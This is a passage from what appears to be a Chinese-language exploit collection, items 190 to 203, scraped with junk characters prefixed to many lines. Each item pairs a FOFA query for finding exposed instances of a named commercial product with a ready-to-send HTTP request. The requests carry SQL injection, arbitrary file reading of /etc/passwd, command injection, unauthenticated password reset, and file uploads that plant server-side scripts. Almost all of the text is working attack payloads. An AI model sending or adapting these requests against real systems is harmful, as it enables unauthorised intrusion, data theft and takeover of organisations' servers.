# q9 C/ i7 B& K  x# b; AGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
3 L* i6 E$ P3 @9 l8 [3 lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! q6 M3 X7 d9 K1 \3 q3 R8 d8 LAccept-Language: zh-CN,zh;q=0.9
1 i- {6 [4 q  B7 i% |+ eConnection: close
$ A( C5 H8 t2 ?! {; W

9 D. y* C- C/ C2 Y' y5 p. a" Q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
+ q( X5 I- {$ u* F) kPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
/ p) o0 |2 N# k5 h$ h3 [6 hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
4 v4 S# N7 x* a4 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
  v; [9 ?9 K4 W# u2 Q) G5 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 L5 Y7 n3 N$ v6 f# R/ W" Q0 o
4 s" l& r0 _9 @5 @7 H* Apoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
5 h6 d" f5 i& CFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
7 h2 S' C  F% u" e
5 s0 G0 ?6 G' {
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
6 [5 F! |( @2 ZHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  F2 ^( b# r1 i  k( I" }Content-Type: application/x-www-form-urlencoded
2 d4 J* t# L* C4 _! S0 l

<% @ webhandler language="C#" class="AverageHandler" %>
  J( M6 u1 u$ }( Ausing System;
* |! j% @$ i: [0 Fusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
1 N$ f+ n0 Q6 {: Mpublic void ProcessRequest(HttpContext ctx)
6 c7 `, Q4 X# v0 o+ c1 K6 L! N7 \{
ctx.Response.Write("test");
% S+ L7 V4 Q! q% a}
& ?5 q, h  ?9 ?* ^" N: k* b}
7 T0 ]. Y! @( i

  L; R9 r9 d5 D7 E; N; |+ _; ]193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" l( ^6 P5 ]5 N3 X* O6 r- G( y  IFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

  r6 u  I" j6 L8 u
% G( O6 H3 G$ Q" a/ X/ ?7 ^POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
; D% W6 k% [) l2 N# R. S& |. E- @+ ZUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
. x: O5 h' ]4 h+ E5 ?Connection: close
9 s6 v9 Y0 r5 l# R: F$ R  zCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
7 {0 @( n1 _  E2 ^* U& L$ d
3 u9 R9 M: r# a' j* ]9 dparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
1 e/ F5 e2 e/ l: @% vHost:
User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
! v- V3 y  A/ B% t3 l) \3 s
POST /servlet/uploadAttachmentServlet HTTP/1.1
) }4 S7 B; m/ a8 d8 W' o% D, d4 YHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
- R5 B2 H  K3 O3 I. l: G' x1 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 c8 T. P  m9 n- xAccept-Encoding: gzip, deflate
, m* Q4 `# C+ t# T: }9 J- C9 M+ AConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
: X+ r% T4 w6 f1 t6 NContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

" m0 K: N# F1 ]% B# F6 l& _$ z4 a. {
) R" ]& A1 m, l6 g- c195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
9 p8 E4 b. N" U6 {$ kFOFA：title=="飞鱼星企业级智能上网行为管理系统
# R7 U0 V$ y; U1 P, q5 c5 rPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. Q3 V: l- E# ^0 L4 _( iAccept: */*
Accept-Encoding: gzip, deflate
/ B! `9 v( \. b- H# [/ r9 NAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
/ ~5 e% i1 q( v& m( dContent-Length: 68

; K7 I( y* v! q; v8 k{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
5 p$ Z2 K' h0 L6 O6 y

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
  G. x. A2 B  x# J( jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
, p( H4 }  j4 [6 KX-Requested-With: XMLHttpRequest
  w  w; N2 f8 |9 ?$ X: ^) s$ L9 mHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}

- A8 u' i1 z7 Q  N) N' c) g8 _9 [
7 T2 C. |, i! r# H* e
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ y% c1 H" _# iFOFA：app="浙大恩特客户资源管理系统"
2 V# y' H7 q, B! o) i$ \GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
# `) E5 }, l$ VHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
) z! Q) S7 i4 Y8 tAccept-Encoding: gzip, deflate
Connection: close



198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


& {! |% v7 i+ f1 N; b# n/ n199. cockpit系统assetsmanager_upload接口 文件上传
8 A, B  k- L( A" L! e9 `) ?7 }* [
7 S* r: m6 }( b8 r; q' Z3 }1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
2 P5 L4 ^. X8 a$ T% d  qGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
* X1 {/ U9 a9 n1 V2 _9 u5 Y
2.使用刚才上一步获取到的jwt获取cookie：
5 x( y  \6 g+ S# [
POST /auth/check HTTP/1.1
) x2 i" g- T" M3 ?& P- P- f5 ZContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
& H0 a* l' C- t# \7 {- ^9 v
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
. Q" B* m  r0 d3 dPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
/ x' M. w4 [4 @' }- qContent-Disposition: form-data; name="files[]"; filename="tttt.php"
; p( X9 D  u, @+ t; s4 t2 i( i& bContent-Type: text/php

/ |* t9 t, F7 {/ c5 F<?php echo "tttt";unlink(__FILE__);?>
# R( i. H. P& E& ~! l; G) w-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

3 M. m" G8 _+ a$ q# }  B, s-----------------------------36D28FBc36bd6feE7Fb3--
. Z+ g/ F( J5 P
5 e* _1 t. r; C1 v* j7 ?# I8 B2 R
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
, I! J7 x" h! TFOFA：app="海洋CMS"
" g- h8 j! ?( P" v( bGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
. A# k$ U$ `* P; x4 O9 ]Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
6 R; N' p% ~) \$ A: C( b/ yUpgrade-Insecure-Requests: 1
# a! W: F* J! F1 X4 e3 jCache-Control: max-age=0
) `( }. l8 G4 u( iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' w1 f5 [8 p, z7 W) @4 I0 }3 }6 QAccept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
2 V" N) l/ K  I9 L7 UPOST /newsedit/newsplan/task/binary.do HTTP/1.1
% f) b2 \! m3 x9 |( J0 @. t# ^Content-Type: application/x-www-form-urlencoded
# o% M: e  ]/ `6 ?( k2 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# N& R: C* Q' z4 F/ t' _Accept-Encoding: gzip, deflate
- u- c& U" _" f9 H4 zAccept-Language: zh-CN,zh;q=0.9
Connection: close
( q: \( a3 [- ~
- K- o( n5 I4 ^+ H; hTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
: G) {$ Y4 K5 H6 v7 _" P% {- D
+ \% x& b; |( {# e# b
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
7 t4 y' X; c6 BGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
1 _- h2 E$ [$ [* w1 u& fContent-Length: 0
+ A" f) H! E, V* O+ e% N" Q& s

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
' |# M. R& ]( I) h! {9 |4 dAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 _( y6 J" ~, e+ k, W5 C" h, z8 i" P
: U: H% D) Y& ^: H4 d: C-----------------------------786435874t38587593865736587346567358735687
3 J, V, ~& A+ g: BContent-Disposition: form-data; name="__VIEWSTATE"
! s1 F$ J! s$ E* m+ Y& a) p( |
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
7 Z& `8 n$ e" L4 I- C/ yContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
( ]" Y3 }$ g$ H" zContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
1 M  y" f" N9 f0 Q: B, WContent-Type: text/plain

* s7 `% q' P2 _Hello World!
-----------------------------786435874t38587593865736587346567358735687
  r" N" p/ c7 j/ cContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
+ p! n% y6 j) n
上传图片
3 N3 _; \( w3 @6 x7 i-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
0 l8 Q( u' j. g2 nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

; I: ~. F: y: p* Z$ [; [7 S) C
% g3 T' Z1 F6 m7 r; T-----------------------------786435874t38587593865736587346567358735687--

& h, b% b) J: \0 P+ h7 R
; }7 @5 q# s1 F  K/_data/Uploads/1123.txt
" d& F7 r0 w, J( `7 a, ?
2 q' ~% }- v+ E203. 红海云EHR PtFjk 文件上传
7 Y' Y  `3 u7 Q6 ?- j9 I1 MFOFA：body="RedseaPlatform"
# Q4 w. u& D4 J) WPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
( h: i+ R( c0 S  rHost: x.x.x.x
' i; D! S1 t* H5 {2 F# V* T4 lAccept-Encoding: gzip
0 d" e/ i. j5 c6 n0 [, \! M4 s2 O3 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
; x; |$ P! U. M4 p6 W0 B
2 x5 z4 @' ~$ }4 B( B
& P. c, @. z; D9 }* ?+ b, ?
' e+ A" A. n2 {9 H
% E! E* w) ]& u+ J- K
1 [: F7 M; I* P. ]1 n( D* V; `3 C
; e* V6 ]$ C* L7 p! N. V! ^